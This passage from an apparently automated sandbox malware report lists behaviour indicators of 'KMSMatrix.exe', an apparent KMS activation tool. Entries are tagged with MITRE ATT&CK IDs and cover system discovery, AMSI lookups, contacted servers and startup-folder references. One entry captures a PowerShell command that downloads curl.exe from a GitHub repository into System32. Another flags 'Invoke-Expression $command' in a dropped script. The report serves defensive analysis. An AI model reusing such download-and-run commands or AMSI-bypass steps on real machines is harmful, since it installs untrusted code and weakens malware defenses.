\"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00005180)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"KMSMatrix.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00002616)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00006552)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00001580)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00001580)\n \"cscript.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00007460)\n \"cscript.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00007460)\n \"tasklist.exe\" called \"GetLocaleInfoW\" with parameter \"1024\" - (UID: 00000000-00006404)\n \"tasklist.exe\" called \"GetLocaleInfoW\" with parameter \"1024\" - (UID: 00000000-00004456)\n \"tasklist.exe\" called \"GetLocaleInfoW\" with parameter \"1024\" - (UID: 00000000-00007028)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to gather system environment details","description":"Observed function \"GetEnvironmentVariable\" in \"KMSMatrix.exe\"","origin":"Static Parser","mitre_attack_id":"T1082","relevance":1,"id":"static-119","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to gather system information (Dotnet)","description":"Observed function \"get_OSVersion\" in \"KMSMatrix.exe\"","origin":"Static Parser","mitre_attack_id":"T1082","relevance":1,"id":"static-120","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001580.00000000.66629.94952000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001580.00000000.66629.94952000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$3b","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-326","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00001580.00000000.66629.94952000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"Found reference to API \"RtlNtStatusToDosError\" (Indicator: \"RtlNtStatusToDosError\"; Source: \"00000000-00001580.00000000.66629.94952000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001580.00000000.66629.94952000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001580.00000000.66629.94952000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve operating system version","description":"Observed string: \"%WINDIR%\\system32\\cmd.exe /c ver\" (Indicator: \"cmd.exe /c ver\") in Source: 00000000-00008068-00000C41-14820917927\n Observed string: \"%WINDIR%\\system32\\cmd.exe /c ver\" (Indicator: \"/c ver\") in Source: 00000000-00008068-00000C41-14820917927\n Observed string: \"/c ver\" (Indicator: \"/c ver\") in Source: cmd.exe","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-327","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system network configuration","description":"file/memory contains long string with (Indicator: \"nslookup\"; File: \"KMSMatrix.exe\")\n Found string \"nslookup dns.msftncsi.com 2>nul | find \"131.107.255.255\" 1>nul\" (Indicator: \"nslookup\"; File: \"m_srv.cmd\")\n Found string \"nslookup dns.msftncsi.com 2>nul | find \"131.107.255.255\" 1>nul\" (Indicator: \"nslookup\"; Source: \"00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-430","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; Source: \"00000000-00001580.00000000.66629.94952000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; Source: \"00000000-00001580.00000000.66629.94952000.00000002.mdmp\")\n Found reference to API \"RtlGetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00001580.00000000.66629.94952000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve windows environment variables","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-557","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Environment Awareness","name":"Executes WMI queries","description":"$3e","origin":"API Call","mitre_attack_id":"T1047","relevance":10,"id":"api-56","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$3f","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$40","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00006552-00000C15-46522075\n \"cmd.exe\" queries volume information of \"C:\\\" at 00000000-00008068-00000C15-49381214\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00001580-00000C15-52969107\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00005180-00000C15-80999705","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"KMSMatrix.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"cscript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"WMIC.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"tasklist.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"KMSMatrix.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"cscript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"KMSMatrix.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\INF.CMD\")\n \"KMSMatrix.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")\n \"KMSMatrix.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"APPENDPATH\")\n \"KMSMatrix.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"PATH\")\n \"KMSMatrix.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\M_SRV.CMD\")\n \"KMSMatrix.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\S_O.CMD\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert - External IP Lookup","description":"Detected alert \"ET POLICY Possible External IP Lookup Domain Observed in SNI (ipinfo. io)\" (SID: 2025331, Rev: 4, Severity: 2) categorized as \"Device Retrieving External IP Address Detected\"","origin":"Suricata Alerts","mitre_attack_id":"T1016","relevance":3,"id":"suricata-4","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$41","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$42","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00006552)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00001580)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00005180)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$43","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.133495163154173202.6552.DefaultAppDomain.powershell\" - (UID: 00000000-00006552)\n \"cmd.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00008068)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.133495163394340593.1580.DefaultAppDomain.powershell\" - (UID: 00000000-00001580)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00001580)\n \"cmd.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00006476)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.133495165996949662.5180.DefaultAppDomain.powershell\" - (UID: 00000000-00005180)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$44","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"142.250.189.202:443\"\n \"192.30.255.113:443\"\n \"185.199.108.133:443\"\n \"34.117.186.192:443\"\n \"45.84.207.125:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00001580.00000000.66629.94952000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$45","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Contains ability to execute windows services","description":"$46","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-521","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Contains ability to executes commands or batch file","description":"$47","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-174","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; Source: \"00000000-00001580.00000000.66629.94952000.00000002.mdmp\")\n Found reference to API \"LockResource\" (Indicator: \"LockResource\"; Source: \"00000000-00001580.00000000.66629.94952000.00000002.mdmp\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00001580.00000000.66629.94952000.00000002.mdmp\")\n Found reference to API \"FindResourceW\" (Indicator: \"FindResource\"; Source: \"00000000-00001580.00000000.66629.94952000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00001580.00000000.66629.94952000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Contains ability to run commands or expressions (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Invoke-Expression\"; File: \"s_w.ps1\")\n Found string \"Invoke-Expression $command\" (Indicator: \"Invoke-Expression\"; File: \"s_w.ps1\")\n Found string \"Invoke-Expression $command\" (Indicator: \"Invoke-Expression\"; Source: \"00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-288","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00001580.00000000.66629.94952000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00001580.00000000.66629.94952000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Contains reference to Windows Startup folder","description":"\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\desktop.ini\" (Indicator: \"c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\desktop.ini\") in Source: 00000000-00002616.00000000.66017.789A0000.00000004.mdmp\n 00000000-00002616.00000001.67938.789A0000.00000004.mdmp\n 00000000-00002616.00000002.69859.789A0000.00000004.mdmp\n \"C:\\Users\\HAPUBWS\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini\" (Indicator: \"c:\\users\\hapubws\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\desktop.ini\") in Source: 00000000-00002616.00000000.66017.789A0000.00000004.mdmp\n 00000000-00002616.00000001.67938.789A0000.00000004.mdmp\n 00000000-00002616.00000002.69859.789A0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1547.001","relevance":1,"id":"string-265","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"details too long to display","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\BaseNamedObjects\\SyncRootManager\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2616:120:WilError_01\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2616:304:WilStaging_02\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\SM0:2616:120:WilError_01\"\n \"SM0:2616:120:WilError_01\"\n \"Local\\SM0:2616:304:WilStaging_02\"\n \"SM0:2616:304:WilStaging_02\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"\\BaseNamedObjects\\CLR_PerfMon_WrapMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\SM0:2616:304:WilStaging_02\"\n \"\\Sessions\\1\\BaseNamedObjects\\SM0:2616:120:WilError_01\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Dotnet code contains ability to query registry","description":"Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"OpenSubKey\" in \"KMSMatrix.exe\"\n Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"GetValue\" in \"KMSMatrix.exe\"","origin":"Static Parser","mitre_attack_id":"T1012","relevance":1,"id":"static-138","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"s_w.ps1\" as clean (type is \"ASCII text with CRLF line terminators\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Executes Powershell command strings","description":"Process \"powershell.exe\" with commandline \"powershell \"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (new-object net.webclient).DownloadFile('https://github.com/cloud1cybertron/wincurl/raw/main/curl.exe', '%WINDIR%\\\\System32\\\\curl.exe')\"\" (UID: 00000000-00005180)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-486","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"level":"informative","category":"General","name":"Executes echo command","description":"Process \"%WINDIR%\\system32\\cmd.exe\" with commandline \"/S /D /c\" echo \"/kms\" \"\" (UID: 00000000-00001956)\n Process \"%WINDIR%\\system32\\cmd.exe\" with commandline \"/c echo prompt $E | cmd\" (UID: 00000000-00006476)\n Process \"%WINDIR%\\system32\\cmd.exe\" with commandline \"/S /D /c\" echo prompt $E \"\" (UID: 00000000-00008108)\n Process \"%WINDIR%\\system32\\cmd.exe\" with commandline \"/S /D /c\" echo \"%TEMP%\\\\m_srv.cmd\" \"\" (UID: 00000000-00007188)\n Process \"%WINDIR%\\system32\\cmd.exe\" with commandline \"/S /D /c\" echo \"/kms\" \"\" (UID: 00000000-00007740)\n Process \"%WINDIR%\\system32\\cmd.exe\" with commandline \"/S /D /c\" echo \"/kms\" \"\" (UID: 00000000-00005160)\n Process \"%WINDIR%\\system32\\cmd.exe\" with commandline \"/S /D /c\" echo \"/kms\" \"\" (UID: 00000000-00008172)\n Process \"%WINDIR%\\system32\\cmd.exe\" with commandline \"/S /D /c\" echo \"/kms\" \"\" (UID: 00000000-00005684)","origin":"Monitored Target","mitre_attack_id":"T1059.003","relevance":1,"id":"target-343","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$48","origin":"API Call","mitre_attack_id":"T1574.002","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"KMSMatrix.exe\" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.133495163154173202.6552.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.133495163394340593.1580.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.133495165996949662.5180.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Found user-agent related strings","description":"file/memory contains long string with (Indicator: \"mozilla/5.0 (\"; File: \"KMSMatrix.exe\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Found well known domains (string)","description":"$49","origin":"File/Memory","relevance":1,"id":"string-135","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Launches a VBS file","description":"Process \"cscript.exe\" with commandline \"slmgr.vbs /dlv\" (UID: 00000000-00007460)","origin":"Monitored Target","mitre_attack_id":"T1059.005","relevance":10,"id":"target-72","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$4a","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"KMSMatrix.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at 79FA0000\n \"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at 79FA0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 93B10000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 88640000\n \"cscript.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 88640000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 94840000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"KMSMatrix.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at A78D0000\n \"KMSMatrix.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at A6AD0000\n \"cmd.exe\" loaded module 